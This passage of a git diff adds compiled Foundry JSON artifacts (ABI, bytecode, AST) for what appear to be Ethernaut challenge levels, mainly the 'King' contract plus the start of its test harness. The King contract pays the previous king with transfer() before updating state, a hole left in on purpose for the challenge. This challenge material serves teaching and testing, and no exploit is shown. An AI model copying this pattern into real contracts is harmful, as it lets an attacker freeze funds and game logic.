Instance"}}},"id":53525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"276:26:90","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}],"id":53520,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"268:7:90","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53519,"name":"address","nodeType":"ElementaryTypeName","src":"268:7:90","typeDescriptions":{}}},"id":53526,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"268:35:90","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53516,"id":53527,"nodeType":"Return","src":"261:42:90"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"160:14:90","overrides":{"id":53513,"nodeType":"OverrideSpecifier","overrides":[],"src":"207:8:90"},"parameters":{"id":53512,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53511,"mutability":"mutable","name":"_player","nameLocation":"183:7:90","nodeType":"VariableDeclaration","scope":53529,"src":"175:15:90","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53510,"name":"address","nodeType":"ElementaryTypeName","src":"175:7:90","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"174:17:90"},"returnParameters":{"id":53516,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53515,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53529,"src":"225:7:90","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53514,"name":"address","nodeType":"ElementaryTypeName","src":"225:7:90","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"224:9:90"},"scope":53554,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53553,"nodeType":"FunctionDefinition","src":"316:217:90","nodes":[],"body":{"id":53552,"nodeType":"Block","src":"422:111:90","nodes":[],"statements":[{"expression":{"id":53539,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53533,"src":"432:7:90","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53540,"nodeType":"ExpressionStatement","src":"432:7:90"},{"assignments":[53543],"declarations":[{"constant":false,"id":53543,"mutability":"mutable","name":"instance","nameLocation":"458:8:90","nodeType":"VariableDeclaration","scope":53552,"src":"449:17:90","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"},"typeName":{"id":53542,"nodeType":"UserDefinedTypeName","pathNode":{"id":53541,"name":"Instance","nameLocations":["449:8:90"],"nodeType":"IdentifierPath","referencedDeclaration":53503,"src":"449:8:90"},"referencedDeclaration":53503,"src":"449:8:90","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"visibility":"internal"}],"id":53547,"initialValue":{"arguments":[{"id":53545,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53531,"src":"478:9:90","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53544,"name":"Instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53503,"src":"469:8:90","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Instance_$53503_$","typeString":"type(contract Instance)"}},"id":53546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"469:19:90","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"nodeType":"VariableDeclarationStatement","src":"449:39:90"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53548,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53543,"src":"505:8:90","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"id":53549,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"514:10:90","memberName":"getCleared","nodeType":"MemberAccess","referencedDeclaration":53502,"src":"505:19:90","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":53550,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"505:21:90","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":53538,"id":53551,"nodeType":"Return","src":"498:28:90"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"325:16:90","overrides":{"id":53535,"nodeType":"OverrideSpecifier","overrides":[],"src":"398:8:90"},"parameters":{"id":53534,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53531,"mutability":"mutable","name":"_instance","nameLocation":"358:9:90","nodeType":"VariableDeclaration","scope":53553,"src":"342:25:90","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53530,"name":"address","nodeType":"ElementaryTypeName","src":"342:15:90","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53533,"mutability":"mutable","name":"_player","nameLocation":"377:7:90","nodeType":"VariableDeclaration","scope":53553,"src":"369:15:90","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53532,"name":"address","nodeType":"ElementaryTypeName","src":"369:7:90","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"341:44:90"},"returnParameters":{"id":53538,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53537,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53553,"src":"416:4:90","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53536,"name":"bool","nodeType":"ElementaryTypeName","src":"416:4:90","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"415:6:90"},"scope":53554,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":53508,"name":"Level","nameLocations":["139:5:90"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"139:5:90"},"id":53509,"nodeType":"InheritanceSpecifier","src":"139:5:90"}],"canonicalName":"InstanceFactory","contractDependencies":[53503],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53554,55508,46700,48281],"name":"InstanceFactory","nameLocation":"120:15:90","scope":53555,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":90} \ No newline at end of file diff --git a/contracts/out/King.sol/King.json b/contracts/out/King.sol/King.json new file mode 100644 index 000000000..1d6ce180b --- /dev/null +++ b/contracts/out/King.sol/King.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"_king","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"prize","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"}],"bytecode":{"object":"0x6080604052600280546001600160a01b0319908116339081179092555f8054909116909117905534600155610178806100375f395ff3fe608060405260043610610036575f3560e01c806329cc6d6f146100cb5780638da5cb5b14610100578063e3ac5d261461011f575f80fd5b366100c7576001543410158061005657506002546001600160a01b031633145b61005e575f80fd5b5f80546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610095573d5f803e3d5ffd5b505f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055346001819055005b5f80fd5b3480156100d6575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b34801561010b575f80fd5b506002546100e3906001600160a01b031681565b34801561012a575f80fd5b5061013460015481565b6040519081526020016100f756fea2646970667358221220a6f44ad3ceb864e9789ad85621d452c5eb4ca2398ce14d62b98e9bf9c97e3b5864736f6c63430008180033","sourceMap":"57:482:91:-:0;;;180:5;:18;;-1:-1:-1;;;;;;180:18:91;;;188:10;180:18;;;;;;:5;208:17;;;;;;;;;;243:9;180:18;235:17;57:482;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610036575f3560e01c806329cc6d6f146100cb5780638da5cb5b14610100578063e3ac5d261461011f575f80fd5b366100c7576001543410158061005657506002546001600160a01b031633145b61005e575f80fd5b5f80546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610095573d5f803e3d5ffd5b505f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055346001819055005b5f80fd5b3480156100d6575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b34801561010b575f80fd5b506002546100e3906001600160a01b031681565b34801561012a575f80fd5b5061013460015481565b6040519081526020016100f756fea2646970667358221220a6f44ad3ceb864e9789ad85621d452c5eb4ca2398ce14d62b98e9bf9c97e3b5864736f6c63430008180033","sourceMap":"57:482:91:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;323:5;;310:9;:18;;:41;;;-1:-1:-1;346:5:91;;-1:-1:-1;;;;;346:5:91;332:10;:19;310:41;302:50;;;;;;370:4;;;362:33;;-1:-1:-1;;;;;370:4:91;;;;385:9;362:33;;;;;385:9;;362:33;370:4;362:33;385:9;370:4;362:33;;;;;;;;;;;;;;;;;;;;-1:-1:-1;405:4:91;:17;;;;412:10;405:17;;;440:9;405:17;432;;;;57:482;;;;462:75;;;;;;;;;;-1:-1:-1;500:7:91;526:4;-1:-1:-1;;;;;526:4:91;462:75;;;-1:-1:-1;;;;;178:55:155;;;160:74;;148:2;133:18;462:75:91;;;;;;;;121:20;;;;;;;;;;-1:-1:-1;121:20:91;;;;-1:-1:-1;;;;;121:20:91;;;95;;;;;;;;;;;;;;;;;;;391:25:155;;;379:2;364:18;95:20:91;245:177:155","linkReferences":{}},"methodIdentifiers":{"_king()":"29cc6d6f","owner()":"8da5cb5b","prize()":"e3ac5d26"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"_king\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"prize\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/King.sol\":\"King\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/King.sol\":{\"keccak256\":\"0x3d08ca5f44dd9d25da0379589d3e3f0523f44217332934ef274de018953f61e3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8f75765ba832ec5aaffa05676a425988c3b87006eeceb488b1dd64b3c19432ca\",\"dweb:/ipfs/QmfWR1fgGyTYCGzZ8pdHwKiUWAqEHzVxSg39QdWr4vLcWN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"_king","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"prize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/King.sol":"King"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/King.sol":{"keccak256":"0x3d08ca5f44dd9d25da0379589d3e3f0523f44217332934ef274de018953f61e3","urls":["bzz-raw://8f75765ba832ec5aaffa05676a425988c3b87006eeceb488b1dd64b3c19432ca","dweb:/ipfs/QmfWR1fgGyTYCGzZ8pdHwKiUWAqEHzVxSg39QdWr4vLcWN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/King.sol","id":53626,"exportedSymbols":{"King":[53625]},"nodeType":"SourceUnit","src":"32:508:91","nodes":[{"id":53556,"nodeType":"PragmaDirective","src":"32:23:91","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53625,"nodeType":"ContractDefinition","src":"57:482:91","nodes":[{"id":53558,"nodeType":"VariableDeclaration","src":"77:12:91","nodes":[],"constant":false,"mutability":"mutable","name":"king","nameLocation":"85:4:91","scope":53625,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53557,"name":"address","nodeType":"ElementaryTypeName","src":"77:7:91","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":53560,"nodeType":"VariableDeclaration","src":"95:20:91","nodes":[],"constant":false,"functionSelector":"e3ac5d26","mutability":"mutable","name":"prize","nameLocation":"110:5:91","scope":53625,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53559,"name":"uint256","nodeType":"ElementaryTypeName","src":"95:7:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":53562,"nodeType":"VariableDeclaration","src":"121:20:91","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"136:5:91","scope":53625,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53561,"name":"address","nodeType":"ElementaryTypeName","src":"121:7:91","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53581,"nodeType":"FunctionDefinition","src":"148:111:91","nodes":[],"body":{"id":53580,"nodeType":"Block","src":"170:89:91","nodes":[],"statements":[{"expression":{"id":53568,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53565,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53562,"src":"180:5:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53566,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"188:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53567,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"192:6:91","memberName":"sender","nodeType":"MemberAccess","src":"188:10:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"180:18:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53569,"nodeType":"ExpressionStatement","src":"180:18:91"},{"expression":{"id":53573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53570,"name":"king","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53558,"src":"208:4:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53571,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"215:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"219:6:91","memberName":"sender","nodeType":"MemberAccess","src":"215:10:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"208:17:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53574,"nodeType":"ExpressionStatement","src":"208:17:91"},{"expression":{"id":53578,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53575,"name":"prize","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53560,"src":"235:5:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53576,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"243:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53577,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"247:5:91","memberName":"value","nodeType":"MemberAccess","src":"243:9:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"235:17:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53579,"nodeType":"ExpressionStatement","src":"235:17:91"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53563,"nodeType":"ParameterList","parameters":[],"src":"159:2:91"},"returnParameters":{"id":53564,"nodeType":"ParameterList","parameters":[],"src":"170:0:91"},"scope":53625,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53616,"nodeType":"FunctionDefinition","src":"265:191:91","nodes":[],"body":{"id":53615,"nodeType":"Block","src":"292:164:91","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":53593,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53588,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53585,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"310:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53586,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"314:5:91","memberName":"value","nodeType":"MemberAccess","src":"310:9:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":53587,"name":"prize","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53560,"src":"323:5:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"310:18:91","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53592,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53589,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"332:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"336:6:91","memberName":"sender","nodeType":"MemberAccess","src":"332:10:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":53591,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53562,"src":"346:5:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"332:19:91","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"310:41:91","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":53584,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"302:7:91","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":53594,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"302:50:91","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53595,"nodeType":"ExpressionStatement","src":"302:50:91"},{"expression":{"arguments":[{"expression":{"id":53601,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"385:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53602,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"389:5:91","memberName":"value","nodeType":"MemberAccess","src":"385:9:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":53598,"name":"king","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53558,"src":"370:4:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53597,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"362:8:91","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":53596,"name":"address","nodeType":"ElementaryTypeName","src":"362:8:91","stateMutability":"payable","typeDescriptions":{}}},"id":53599,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"362:13:91","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":53600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"376:8:91","memberName":"transfer","nodeType":"MemberAccess","src":"362:22:91","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":53603,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"362:33:91","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53604,"nodeType":"ExpressionStatement","src":"362:33:91"},{"expression":{"id":53608,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53605,"name":"king","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53558,"src":"405:4:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53606,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"412:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53607,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"416:6:91","memberName":"sender","nodeType":"MemberAccess","src":"412:10:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"405:17:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53609,"nodeType":"ExpressionStatement","src":"405:17:91"},{"expression":{"id":53613,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53610,"name":"prize","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53560,"src":"432:5:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53611,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"440:3:91","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53612,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"444:5:91","memberName":"value","nodeType":"MemberAccess","src":"440:9:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"432:17:91","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53614,"nodeType":"ExpressionStatement","src":"432:17:91"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53582,"nodeType":"ParameterList","parameters":[],"src":"272:2:91"},"returnParameters":{"id":53583,"nodeType":"ParameterList","parameters":[],"src":"292:0:91"},"scope":53625,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":53624,"nodeType":"FunctionDefinition","src":"462:75:91","nodes":[],"body":{"id":53623,"nodeType":"Block","src":"509:28:91","nodes":[],"statements":[{"expression":{"id":53621,"name":"king","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53558,"src":"526:4:91","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53620,"id":53622,"nodeType":"Return","src":"519:11:91"}]},"functionSelector":"29cc6d6f","implemented":true,"kind":"function","modifiers":[],"name":"_king","nameLocation":"471:5:91","parameters":{"id":53617,"nodeType":"ParameterList","parameters":[],"src":"476:2:91"},"returnParameters":{"id":53620,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53619,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53624,"src":"500:7:91","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53618,"name":"address","nodeType":"ElementaryTypeName","src":"500:7:91","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"499:9:91"},"scope":53625,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"King","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53625],"name":"King","nameLocation":"66:4:91","scope":53626,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":91} \ No newline at end of file diff --git a/contracts/out/King.t.sol/TestKing.json b/contracts/out/King.t.sol/TestKing.json new file mode 100644 index 000000000..957e4c9bc --- /dev/null +++ b/contracts/out/King.t.sol/TestKing.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address 